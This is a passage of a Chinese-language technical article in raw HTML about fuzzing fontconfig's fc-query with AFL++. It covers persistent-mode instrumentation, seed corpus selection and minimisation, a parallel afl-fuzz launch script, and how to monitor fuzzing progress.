&#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">为了提高Fuzzing速度，笔者选择在fc-query源码中插入</span><span style="font-size: 15px;"><span style="color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;orphans: 4;text-align: start;white-space: pre-wrap;"><code style="font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">__AFL_INIT</code></span></span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;visibility: visible;font-size: 15px;">、</span><span style="font-size: 15px;"><span style="color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;orphans: 4;text-align: start;white-space: pre-wrap;"><code style="font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">__AFL _ LOOP</code></span></span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">等代码来支持对目标程序的持久化测试，这样可以大幅提高Fuzzing速率。</span></p><p cid="n35" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><strong><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">3.寻找样本</span></strong></p><p cid="n36" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">笔者这里直接使用了MozillaSecurity的样本库。样本的选择对afl++这种模糊测试工具至关重要，合适的样本可以帮助afl找到更多关键的覆盖路径，以此提高Fuzzing<span style="color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;background-color: rgb(255, 255, 255);">找到1个或</span><span style="color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;background-color: rgb(255, 255, 255);">多个有效crash</span>的成功率。</span></p><p cid="n38" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;"><strong>4.样本优化</strong></span></p><p cid="n39" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">笔者这里使用了afl-cmin、afl-tmin这两个工具对样本进行精简，其中afl-cmin主要用来排除触发相同代码覆盖率的样本，保证每个样本都能触发独特的覆盖率路径；afl-tmin则用来对样本进行最小化，同时保证触发的覆盖率路径不变。在afl++官方文档也提到，尽量使用体积小的样本，这样Fuzzing的速度会较快，而较大体积的样本可能会极大拖慢Fuzzing速度。因此，如果在样本数量不是非常多的时候，笔者建议依次使用这两个工具对输入样本进行优化。由于afl-tmin这个工具比较消耗时间，使用者可以根据实际情况对特定的样本进行优化而不必进行全部优化，至少要使用afl-cmin工具对重复样本进行排除。</span></p><p cid="n41" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><strong><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">5.运行Fuzzing</span></strong></p><p cid="n42" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">为了提升Fuzzing效率，afl++提供了几个应用程序来修改操作系统配置，从而提升效率，如</span><span style="color: rgb(51, 51, 51);text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;visibility: visible;font-size: 15px;"><code style="font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">afl-persistent-config</code></span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">、</span><span style="color: rgb(51, 51, 51);text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;visibility: visible;font-size: 15px;"><code style="font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">afl-system-config</code></span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">等程序，同时afl++建议程序运行在挂载ext2和noatime选项的文件系统中，这样可以最大化提高Fuzzing速度。</span></p><p cid="n43" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">由于测试目标是64位可执行程序，并且在编译时加入了ASAN检测，因此在Fuzzing时必须添加</span><span style="color: rgb(51, 51, 51);text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;visibility: visible;font-size: 15px;"><code style="font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">-m none</code></span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">的</span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;visibility: visible;font-size: 15px;">参数</span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">避免afl++由于申请过大内存而退出。同时为了提高Fuzzing效率，这里可以选择多核Fuzzing，即通过同时运行多个fuzzer进程来加速。afl++中通过</span><span style="color: rgb(51, 51, 51);text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;visibility: visible;font-size: 15px;"><code style="font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">-M</code></span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">、</span><span style="color: rgb(51, 51, 51);text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;visibility: visible;font-size: 15px;"><code style="font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">-S</code></span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">参数来实现并行Fuzzing，并通过</span><span style="color: rgb(51, 51, 51);text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;visibility: visible;font-size: 15px;"><code style="font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">-o</code></span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">这个参数指定的文件夹来实现变异文件队列共享，也就是把其它fuzzer进程找到的新路径文件添加到自身的变异队列中。同时可以为每个fuzzer进程配置不同的变异策略，笔者一般为主进程通过</span><span style="color: rgb(51, 51, 51);text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;visibility: visible;font-size: 15px;"><code style="font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">-D</code></span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">参数配置deterministic模式，而辅进程则通过</span><span style="color: rgb(51, 51, 51);text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;visibility: visible;font-size: 15px;"><code style="font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">-p</code></span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;"> 参数配置不同的调度策略。前面在编译时生成了字典文件，可以通过</span><span style="color: rgb(51, 51, 51);text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;visibility: visible;font-size: 15px;"><code style="font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">-x</code></span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">参数使用。如下是一个简单的bash脚本示例，通过screen这个工具来并行运行多个afl-fuzz进程，并且可以随时通过screen来查看特定窗口的状态。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span class="code-snippet_outer">#!/bin/sh</span></code><code><span class="code-snippet_outer">screen -dmS main afl-fuzz -D -x ft.dic -i inp1 -o output1 -t 1000 -m none -M main1 -- ./fc-query @@</span></code><code><span class="code-snippet_outer">screen -dmS sess0 afl-fuzz -x ft.dic -p explore -L 0 -i inp1 -o output1 -t 1000 -m none -M sess0 -- ./fc-query @@</span></code><code><span class="code-snippet_outer">screen -dmS sess1 afl-fuzz -x ft.dic -p fast -L 0 -i inp1 -o output1 -t 1000 -m none -M sess1 -- ./fc-query @@</span></code><code><span class="code-snippet_outer">screen -dmS sess2 afl-fuzz -x ft.dic -p coe -L 0 -i inp1 -o output1 -t 1000 -m none -M sess2 -- ./fc-query @@</span></code></pre></section><p cid="n47" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><strong><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">6.监控Fuzzing进度</span></strong></p><p cid="n47" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">当前，afl++提供了屏幕状态以及其它一系列工具用来监控整个Fuzzing过程的进度。如下图所示：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5259259259259259" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=649c6d57&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplRMwjviatJrb4qwOytnO0ZSOtAiasRegL8EN7ewBBTSMTtjzA2RXfjGwnzEXwaHIfwUyC9QElWwhlBQ%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n47" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;text-indent: 0em;visibility: visible;font-size: 15px;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">一般我们只需关注<code style="font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">last new find</code>、<code style="font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">cycles done</code>、<code style="font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">saved crashes</code>、<code style="font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">map density</code></span><span style="color: rgb(51, 51, 51);text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;visibility: visible;font-size: 15px;">几个值即可。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.525" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=62a9aaae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplRMwjviatJrb4qwOytnO0ZSORuz8Ma7Yooib2VXMxicjG9Ss8hXubMNGiaUpEwBibLxiaEAaziafzicvfcnmg%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n51" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;white-space: pre-wrap;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">其中</span><span style="outline: 0px;text-indent: 0em;visibility: visible;font-size: 15px;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);"><code style="font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">last new find</code></span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">代表上一个找到的新路径距离当前的时间；</span><span style="outline: 0px;text-indent: 0em;visibility: visible;font-size: 15px;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);"><code style="font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">saved crashes</code></span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">代表保存的</span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">崩溃样本，这也是我们最希望看到的</span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">；</span><span style="outline: 0px;text-indent: 0em;visibility: visible;font-size: 15px;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);"><code style="font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">map density</code></span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">根据官方解释是当前样本触发的</span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">edge比例同所有输入样本触发的edge比例的值，这仅仅是一个粗略的覆盖率统计数</span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">据，如果这两个值较低，意味着对目标的Fuzzing还有较大的提升空间。如果较长时间没有找到新的路径，此时可能需要停止Fuzzing，来找找更深层次的原因了。</span></p><p cid="n52" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">同时afl++提供了afl-whatsup、afl-showmap等工具对fuzzer的运行状态进行分析。afl-whatsup可以迅速查看每个fuzzer的运行状态以及摘要信息。afl-showmap可以输出整个输出目录的样本触发的整体代码覆盖率。</span></p><p cid="n54" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;white-space: pre-wrap;"><strong><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, 